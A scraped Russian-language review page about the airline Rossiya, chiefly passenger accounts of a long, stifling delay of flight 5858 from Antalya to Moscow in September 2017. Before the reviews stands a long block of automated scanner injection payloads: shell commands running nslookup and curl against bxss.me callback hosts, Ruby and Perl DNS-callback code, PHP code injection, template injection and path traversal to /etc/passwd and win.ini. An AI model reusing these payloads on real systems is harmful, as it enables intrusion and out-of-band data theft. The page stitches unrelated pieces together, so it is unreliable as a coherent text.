Дмитров
!(
!(()&&!|*|*|
"+
"+"A".concat(70-3).concat(22*4).concat(120).concat(73).concat(97).concat(69)+(require"socket"
Socket.gethostbyname("hitjf"+"gavqrzan56c7d.bxss.me.")[3].to_s)+"
"+"A".concat(70-3).concat(22*4).concat(121).concat(76).concat(104).concat(75)+(require"socket"
Socket.gethostbyname("hitfv"+"zdwntpww6b911.bxss.me.")[3].to_s)+"
"+response.write(9165175*9305228)+"
"+response.write(9316314*9304450)+"
".
".gethostbyname(lc("hitea"."pgdlyizp0fd66.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(85).chr(117).chr(76)."
".gethostbyname(lc("hitzi"."nhdexkozc55a3.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(80).chr(113).chr(77)."
";
";print(md5(31337));$a="
"D
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
$(
$(nslookup -q=cname hitatwonbkxvaaa2c2.bxss.me||curl hitatwonbkxvaaa2c2.bxss.me)
$(nslookup -q=cname hitclvkbspadp9ab0e.bxss.me||curl hitclvkbspadp9ab0e.bxss.me)
${
${9999439+9999037}
${9999962+10000477}
${@print(md5(31337))}
${@print(md5(31337))}\
&(
&(nslookup -q=cname hitdopgiwfrdw1170c.bxss.me||curl hitdopgiwfrdw1170c.bxss.me)&'\"`0&(nslookup -q=cname hitdopgiwfrdw1170c.bxss.me||curl hitdopgiwfrdw1170c.bxss.me)&`'
&(nslookup -q=cname hitgopfwdklqy8cb1a.bxss.me||curl hitgopfwdklqy8cb1a.bxss.me)&'\"`0&(nslookup -q=cname hitgopfwdklqy8cb1a.bxss.me||curl hitgopfwdklqy8cb1a.bxss.me)&`'
&E
&echo cdkgtq$()\ ljiwby\nz^xyu||a #' &echo cdkgtq$()\ ljiwby\nz^xyu||a #|" &echo cdkgtq$()\ ljiwby\nz^xyu||a #
&echo cwwgiz$()\ cdtgax\nz^xyu||a #' &echo cwwgiz$()\ cdtgax\nz^xyu||a #|" &echo cwwgiz$()\ cdtgax\nz^xyu||a #
&N
&nslookup -q=cname hitgosnpeurwffc6d3.bxss.me&'\"`0&nslookup -q=cname hitgosnpeurwffc6d3.bxss.me&`'
&nslookup -q=cname hithbwhenpuxie067e.bxss.me&'\"`0&nslookup -q=cname hithbwhenpuxie067e.bxss.me&`'
'"
'"
'"()
'"()&%
'"()&%
'"()&%
'"()&%
'"()&%
'"()&%
'+
'+'A'.concat(70-3).concat(22*4).concat(106).concat(81).concat(110).concat(89)+(require'socket'
Socket.gethostbyname('hitvi'+'elyzparya3ad1.bxss.me.')[3].to_s)+'
'+'A'.concat(70-3).concat(22*4).concat(109).concat(90).concat(117).concat(82)+(require'socket'
Socket.gethostbyname('hitrp'+'vnudbpuz26ffe.bxss.me.')[3].to_s)+'
'+response.write(9165175*9305228)+'
'+response.write(9316314*9304450)+'
'.
'.gethostbyname(lc('hitdm'.'gnmcddnyf81f0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(79).chr(103).chr(90).'
'.gethostbyname(lc('hitqd'.'wthehqqn95388.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(77).chr(120).chr(71).'
'.print(md5(31337)).'
';
';print(md5(31337));$a='
(N
(nslookup -q=cname hithmxnvvymbv67fd4.bxss.me||curl hithmxnvvymbv67fd4.bxss.me))
(nslookup -q=cname hituapxqhqkbb85c1c.bxss.me||curl hituapxqhqkbb85c1c.bxss.me))
)
)
))
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
..
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
../Mr.
./
./Mr.
//
//xfs.bxss.me?pro-firmy.ru
/E
/etc/shells
/\
/\xfs.bxss.me?pro-firmy.ru
12
12345'"\'\");|]* {
< >
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'
1H
1HcZmC8cO
1R
1rF4zkSEO
1Y
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.
1}
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
90
904295
97
976859
;(
;(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)|(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)&(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)
;(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)|(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)&(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)
;A
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
Летела данной авиакомпанией в Пафос и обратно в августе. Была задержка рейса, организовано питье и питание. Но ситуацию с рейсом 5858 отлично понимаю. 2 года назад при высадке в аэропорту не выпускали из самолета 40 минут. Кондиционеры были выключены и через минут 20 дышать было уже тяжело. Представляю себе что было бы через 2-3 часа. Вопросы возникают не по задержке рейса, это самолеты, все может случиться. Была прямая УГРОЗА здоровью и жизни пассажиров -могли быть тепловые удары, нарушение сердечной деятельности вплоть до смертельных исходов! Пилоты об этом что, не знают, когда держат пассажиров столько часов без кондиционирования? Тогда вопросы руковдству ак Россия, вы ждете прецендентов ?
Рейс 5858 Анталия-Москва отложенный с 10 го на 11 сентября.
Стюардессы молчали и не реагировали на вопросы.
Ответ был один- мы-такие же как вы.
Даже жалко их было.
Студентов что ли набрали подработать.
Любое доброе слово разрядило бы ситуацию.
Что, и в этом месте уже не учат?
На самом деле было страшно сидеть в самолёте 5 часов(рейс 5858), но ещё страшнее орущие с ненавистью люди и испугавшиеся мужики.
Самолет долетел до Москвы? Долетел!Оставшиеся на нем люди все живы - здоровы? Да! А "умные люди сразу же "сняли лапшу с ушей" не могут признать того факта,что от своего ума просто обосрались и лоханулись,потратив лишние деньги! И из-за чего? Просто из-за того,что они посчитали себя умнее всех,умнее капитана и на основании чего? Не обладая какими-либо специальными знаниями,только на основании скудного познания из интернета и завышенной значимости своей личности! Так что Елена и А вы просто перебздели из-за своего воспаленного воображения и мозга! Ссыте летать - ездите на ишаках! Беспокоитесь за своих "маленьких деток" - нечего тогда их таскать за собой,сидите с ними дома!
Вот ссылка на видео с рейса 5858. Может кому будет интересно,что из-за некоторых ,,адекватных,, и задержали рейс на столько времени. Ради того,чтобы потом из-за пару сумок, пришлось снять,найти их ,а потом загрузить обратно в самолёт.
m.youtube.com/watch?v=5mLRnDAHXxM...
Ой, ну вот почему для 500 человек все было понятно из объявлений капитана, а Елене и еще десятку умников ничего не ясно? Вывод напрашивается сам. И дело не в ограничении средств. А в том, что в отличии от этой великолепной "десятки" у остальных есть мозг. И почему же вы, недовольные, замалчиваете, что на капитана с кулаками бросались?
Рейс 5858 Анталия-Москва 10.09.2017 Я из числа тех пассажиров рейса, которые были просто вынуждены сойти с борта самолета. Речь действительно не о задержке рейса (хотя задержать вылет на 4 часа это тоже момент не из приятных), мы видимо все уже привыкли к задержке чартерных рейсов и смирились с этим. Но то, что происходило в салоне самолета по истечении 1 часа ожидания взлета, передать словами очень сложно. Когда в салоне, полностью загруженным людьми (а это примерно 500 человек) не чем дышать, плачут маленькие дети, при этом кроме информации от членов экипажа о том что мы ждем разрешения на вылет никакой нет. На просьбу пассажиров включить в салоне систему вентиляции воздуха экипаж попросту не реагировал, что уже наводило на мысль об неисправности самолета. По прошествии 1,5 часов стюардессы удосужились раздать пассажирам по стакану питьевой воды. В процессе ожидания, выяснилось, что на борту не работают туалеты (вернее рабочий только один на 500 человек!!!). После того как мы получили информацию, что нашему самолету открыли вылет, экипаж совместно с работниками аэропорта Анталия начали попытку запуска двигателей самолета. Нам было объявлено, что один двигатель удалось все-таки запустить. Но до этого момента трапы самолета не убирали, могу предположить, что были сомнения в удачном запуске всех двигателей, и трапы не убирали на случай высадки самолета из-за технических неполадок. Я могу еще очень долго описывать сложившуюся ситуацию, но могу сказать, что за произошедшее на борту самолета и за то, что немалое количество пассажиров (в основном с маленькими детьми), которые сошли с борта виноваты только члены экипажа и в первую очередь капитан!!! Они не только не смогли четко и внятно объяснить пассажирам происходящее, а наоборот выбрали тактику отмалчиваться. В такой ситуации нервная система не выдержит даже у самого крепкого. Поэтому нет ничего удивительного, в том , что люди были вынуждены покинуть салон самолета. и улететь другими рейсами за свой счет. А тех, кто остался - тоже можно понять, люди летят с отдыха и просто ограничены в средствах на билет. Для себя я сделала однозначный вывод - это последний полет с авиакомпанией Россия.
Это вас,Люба, надо гнать с борта! Паникеров,которые считают что понимают в самолетах что-то и начинают права качать! Вам сказали ждать - что вам еще нужно? Детали объяснять? Что вам объяснять,если вы не понимаете даже как сковородка работает! Или пилоты и бортпроводники дураки,их дома никто не ждет,просто смертники какие-то! А вот самые типа "умные" решили сойти с рейса,руководствуясь какими-то страхами,своими комплексами,тем самым задержав остальных! Не надо считать себя умнее всех! На пустом месте создают панику,возомнив себя все знающими,а на самом деле тупые и недалекие люди!
Рейс 5858. 10 сентября. Анталия - Москва. Отличный самолет, отличный экипаж. Да, была задержка. Да, было душно и не приятно, особенно тяжело детям. Но это чартер, а значит, к этому нужно быть готовым. Отличный капитан. ТРИЖДЫ объявлял о причинах задержки (интересно, эти, которые "были взрослыми, трезвыми людьми с семьями" - они чем слушали???). Хотя его работа - не успокаивать истеричек на борту. А свою работу - идеальный взлет и посадку - он выполнил на отлично. А насчет истеричек, которые, видите ли, не захотели лететь этим рейсом, из-за капризов и эгоизма которых пришлось прождать лишних три часа в самолете - неужели нет никаких штрафных санкций для них? За наведение паники на пустом месте и задержу рейса? Ведь наказывают же за хулиганство.
Рейс 5858. 10 сент. Анталия - Москва. Присоединяюсь к Станиславу. По моему мнению, дело даже не в длительной задержке рейса, а в поведении экипажа. Паника в самолёте началась не со стороны пассажиров. Все, решившие покинуть рейс были взрослыми, трезвыми людьми с семьями! Панику создал экипаж. Своими неквалифицированными действиями. Капитан, "молчал и ушёл в подполье", пока пассажиры не начали истошно его звать и просить объяснить происходящее с самолётом.Бортпроводницы, пытались его прикрыть какой то зоной карантина.. В самолёте духота, мигает свет, не запускаются двигатели, скрежет, кто-то винтит что то у двигателя.. А для нас- тишина. Никакой информации в течении 1,5 часов. После истошных криков, вышел "а-ля" капитан, который сказал, что не обязан нам представляться и отвечать на наши вопросы. Люди решили сойти с рейса. Банально испугались ситуации и отсутствия информации об исправности борта. "А-ля"-должен был начать общение с пассажирами не после того, как они начали покидать самолёт!! В его обязанности входит оповещение пассажиров а происходящем на борту своевременно, а не после паники и отсутствия Воздуха.!!! Сошедшие,за свои деньги купили билеты на рейсы других компаний и спокойно долетели. Гнать в шею такой экипаж, в обязанности которого входит заботиться о жизни и не допускать паники. Много какими А К летала, но этой, больше ни ни..
Далее… Представители аэропорта, турецкий представитель авиакомпании Россия и член экипажа, якобы капитан (лет 50-ти), но отказавшийся представиться так как он нам ничего не должен (видио данного разговора есть), пытались нас уговорить вернуться на борт, но никто из них так и не смог сказать, когда самолет взлетит. Из всего разговора с ними стало ясно, что двигатели запускают какими-то аппаратами, которые стали резко неисправными (их в аэропорту всего 3 штуки). Т.е. по простому, самолет заводили от прикуривателя, а может еще что-то было, так как из зала ожидания было хорошо видно какое большое количество обслуживающего персонала и техники крутилось около самолета.
Примерно в 2-20 один из нас дозвонился до консульства России в Антальи и после разговора консула с представителем компании РОССИЯ нам и на борт самолета привезли питье, до этого об этом речи вообще не шло. Кроме этого было определено время «Ч», а именно 4-40, когда мы делаем следующий звонок консулу, если самолет не взлетит. Однако до этого не дошло, так как в 4-20 нас пригласили в зал прилета для получения своего багажа, а в 4-30 самолет отошел от причала.
Как стало известно позже, он благополучно приземлился во Внуково в 7-40 – слава богу.
Следует отметить, что к одному ребенку на борту в промежуток времени с 2-40 до 4-00 дважды приезжала скорая и во второй раз его увезли в больницу, т.е. данная семья тоже сошла.
Пролог: оставшиеся же в аэропорту Аланья пассажиры купили билеты за свой счет на различные рейсы, начиная с 8-10 11.09.2017 г., прошли повторно процедуру пересечения границы и регистрации, и благополучно прилетели на родину. Мы летели компанией Ай ФЛАЙ, чистый самолет, вылетел без задержек в 8-10, 2/3 самолета было не заполнено, а человек 20-25 это были пассажиры рейса №5858.
По дороге домой прочитал отзывы об авиакомпании РОССИЯ и понял, что практика загона пассажиров в самолет и «маринование» их в течение неопределенного времени, а в нашем случае и пассивное присутствие при процедуре ремонта самолета, компанией применяется повсеместно, мы не первые. Но очень поразили действия капитана: он должен был говорить со своими пассажирами, и предпринимать все меры по обеспечению комфортного ожидания пассажирами взлета, не смотря на длительное устранение какой-то там неисправности самолета или другого сопутствующего оборудования аэропорта.
Уважаемое руководство компании, почитайте негативные отзывы о своей компании, и повернитесь лицом к людям. Возможно следует рассмотреть вопрос о смене названия «РОССИЯ», на какое – то другое слово. Подумайте, многие участники негативных блогов о Вашей компании Вам на это указывают.
В завершении, хочу всем пожелать здоровья и удачных полетов на рейсах данной авиакомпании, если возникнет такая необходимость или желание.
Рейс № 5858, Анталья- Москва, 10.09.2017 г. – первоначально планируемый вылет в 19-45. Когда прошли регистрацию и сдали багаж оказалось, что вылет в 00-05. Примерно в 23-00 к выходу № 64 подошел Боинг 747 (двухпалубный) авиакомпании РОССИЯ и из него стали выходить в зал прилета отдыхающие. Как только прошел последний пассажир нас пригласили на посадку. 540 пассажиров загрузили на борт до 00-05 часов, причем процентов 15-20 из пасажиров были дети. С нами поздоровался капитан корабля, сказал, что мы ожидаем разрешения на взлет, которое нам не дают из-за «постоянно занятого неба». Через иллюминаторы правда какого-либо движения самолетов на летном поле не наблюдалось. Кондиционеры не работали, через 30 минут стало жарко и душно. Люди стали вставать с мест, ходить по салону, создавать обдув сооруженными веерами. Многие дети от духоты стали плакать, пожилым людям становилось плохо. Командир самолета какой либо информации о задержке не давал, стюардессы и стюарды молчали. Периодически запускались и выключались двигатели, причем после этого полностью выключался свет в салоне и салон освещался только с улицы. По всем признакам самолет был неисправен и запуск/ремонт двигателей происходил при полностью загруженном самолете. Начались волнения у пассажиров с требованием увидеть капитана, чтобы он объяснил причины задержки вылета. Примерно после часа светопреставления и после какого-то толчка/удара, часть пассажиров решили покинуть борт (я с семьей в том числе). Капитан и стюарды молчали. Около 2 -х часов ночи капитан сообщил, что часть пассажиров решила сойти с рейса и нас выпустили в зал отлета. Как выяснилось позже, с рейса сошло около 70 человек, + -, хотя некоторых особо активных «желающих» сойти, мы среди нас не увидели, они остались. Отвечу Олегу на его отзыв от 11.09.2017 – все оставшиеся в аэропорту были в нормальном, здравом состоянии, и решение выйти приняли сознательно, и я считаю правильно. Если бы вышел весь самолет, то был бы резонанс, нам предоставили Исправный борт и все бы улетели спокойно без нервов, но само собой с задержкой, как Вы пишите, которая бывает у всех авиаперевозчиков. Только они не загоняют пассажиров на борт и не «щекочут» им нервы перед полетом, не доводят до полуобморочного состояния, и не показывают как заводится/не заводится душный самолет.
Летели рейсом 5858 вылет должны был состоятся 10 сентября 2017 Анталия-Москва. Не понравился обман с конкретизацией рейса, задержка составила 4 часа, лучше конкретизацию не покупать. Понравилось правильные действия стюардов, при возникшей панике на борту, до взлета. Панику и дебош кстати не смотря на видео устроили сами пассажиры, многие не совсем трезвые или не совсем адекватные судя по наблюдениям. Не знаю авиакомпания не хорошая и не плохая, задержками и переносами страдают все авиакомпании, но надо и самим быть людьми.
Конченные. Экатра спэйс место оформляют минут 10. Маленькую сумочку с деньгами и картами требуют убрать на верхнюю полку, при этом какую-либо сохранность не гарантируют.
А вы, "начитавшись" всякой ерунды, не смогли сообразить почитать про ураган в районе Доминиканы? Но вам главное пожирать, чтоб вам пледик дали,чтоб телевизоры показывали какое- нибудь затупляющее шоу!
Рейс 5879 москва-пунта-кана, перенесли уже на 2 часа, с ужасом начитавшись отзывов ждём, что будет дальше..
Рейс 5702 Ларнака-Москва,что 1 сентября,что 9 сентября пассажиры запомнят надолго!!!!!!!!!Бесчеловечное отношение ак России и сотрудников Библиоглобус к людям!!!!!!!Было полное ощущение,что мы мусор какой-то!Ни гостиницы,ни ужина,а потом еще эта ужасная пытка в душном самолете!Очень страшно все это!У людей сдавали нервы,многим становилось плохо....Задержка рейса 5702 который должен был вылететь 8 сентября в 21.00 а вылетел 9 сентября в 15 00 составила 18 часов.Слава богу этот кошмар позади!!!
Начитавшись отзывов очень переживала, что рейсы будут переносить. Воспользовались услугами компании в поездке на Кипр.Рейс Москва Ларнака 5701 30.08.17 вылет по расписанию в 4-30. На борту предложили сэндвичи и напитки, если учесть что раннее утро, то достаточно. Персонал отзывчивый. Обратно рейс Ларнака Москва 09.09.2017 20-55. Так же все на высоте. Персоналу твердая 5. Питанием не пользовались, в это время не хочется кушать. Но кормили так же сэндвичи и напитки.
Спасибо за приятный полет!
Читая отзывы об авиакомпании ,я уже хотела покупать новые билеты и лететь другой авиакомпанией ,хотя раньше уже летала Россией и проблем не было .Только зря переживала рейс 5705 Москва -Ларнака туда -обратно прошёл без задержек и полет был отличный .Недавно родственники тоже полетели этой авиакомпание и без задержек .К сожалению тут ,как повезёт !
Летали с девушкой Самара-Сочи-Самара
Вылеты и туда и обратно были вовремя.
Персонал вежливый.
В самолёте чисто и удобно.
Всё понравилось.
Вчера 10.09.2017г. мы ложны были улететь в 19.45 из Анталии в Москву (Внуково). Самолет сначала задержали до 22.45. Об этом мы узнали с большим трудом в отеле после того, как за нами не приехал наш гид из Библио глобуса. Когда мы получили на руки билеты, то увидели,что наш рейс перенесли еще на 2 часа с вылетом 11.09.2017 в 00.05. Ну ладно. Началась посадка. Мы вздохнули с радостью. У селись в кресла и тут началось светопредставление. В течение 2-х часов мы сидели в закртытом самолете без кондиционеров. На борту было много детей. Они начали плакать от духоты. Некоторые пожилые люди стали жаловаться на боли в сердце от нехватки кислорода. В течение 2-х часов нас кормили легендами про разные неполадки и разные причины. Началась паника, люди стали кричать, чтобы открыли двери подышать. В конце концов 30 человек покинули борт самолета. Поэтому нам пришлось еще 3 часа ждать
, когда им выдадут багаж. Итого задержка рейса составила 9 часов. Ребята не летайте этой авиакомпанией. Они бессердечные. Глядя как плачут бедные детишки с отчаявшимися мамами они на все это равнодушно смотрели. Их хата скраю. А что стало с теми, кто не выдержал этого кошмара и вышел из самолета вообще неизвестно. Говорили , что они дозвонились до консульства. Очень жаль , что отпуск закончился таким ужасным возвращением. Нас должен был встречать трансфер после посадки во Внуково. Мне пришлось перезаказывать его.На это я потратила 2 тыс. руб. (за разговоры по телефону из Турции, роуминг господа). В итоге: испорченный отпуск, и непредвиденные затраты. Вспоминаю это как кошмарный сон. Наталия.
Рейс 5502 Сочи-Москва задержан с 20.50 на 2.50.Перемаились.Жаль людей с детьми,жаль деток.
Но....!!!!
Экипаж отличный!!!
Капитан Эдуард!надо отдать должное,сгладил все накопившиеся страсти,рассказав что и где происходит.какая погода,нюгде летим.
Стюарды милы все.
Взлет и посадка на 10 баллов!!!
Самый большой Боинг.Превосходно!!!
Но это восхищение лично экипаду,а не компании Россия.
Больше не воспользуюсь услугами этой компании!!!
Летала рейсом 5702, вылет должен был состояться 8 сентября в 21:00 , но прилетели мы в Москву только 18:10 9 сентября ! Из-за чего не смогла выйти на работу и писала объяснительную! Теперь требую объяснений от авиакомпании! Задержать рейс не на 2-4 часа !!! А на 18 часов !!!!!!!!!!!!! Спать без еды и воды в аэропорту ! На полу , это вина авиаперевозчика , за то что вовремя не увёз людей обратно
Хорошо, что я не читала отзывы об этой авиакомпании раньше, чем сама воспользовалась её услугами. Сегодня вернулись из Турции рейсом 5812(Анталья-Новосибирск). Ничего плохого сказать не могу - как в Анталью летели 26.08 без задержки рейсом 5811, так и обратно вернулись в хорошем настроении от того, что летели спокойно с прекрасным экипажем, знающим своё дело. Большое спасибо красивым стюардессам за их терпение к уставшим пассажирам. У меня нет никаких претензий, потому что накормили хорошо, до родного города доставили. Что ещё нужно? Очень уважаю людей, работающих как в авиакомпании Россия, так и в других наших российских авиакомпаниях.
Не знаю кто тут что плохого пишет, компания вполне приличная. Рейсы были вовремя, летала Казань-Питер, Питер - Римини и назад. Самолеты не старые, персонал очень вежливый, в полете до Италии командир даже подробно рассказывал маршрут, погоду и т.д. Питание бутерброды, но если кто летал америк.компаниями менее 5ч. знает, что там бесплатно вообще ничего не дают и никто не возмущается. Пилоты оба раза в дождь и ветер посадили самолет так, что почти не почувствовали! В отличие даже от той же Swiss airlines, где всю душу вытрясло, да и в Lufthansa тоже бывало.
Рейс 5857 в Анталию , должны были вылететь в 15:00, на табло появилась инфа перенос пейса до 18:15..... почитала отзывы и ужаснулась, уже собралась покупать другие билеты другой авиакомпании
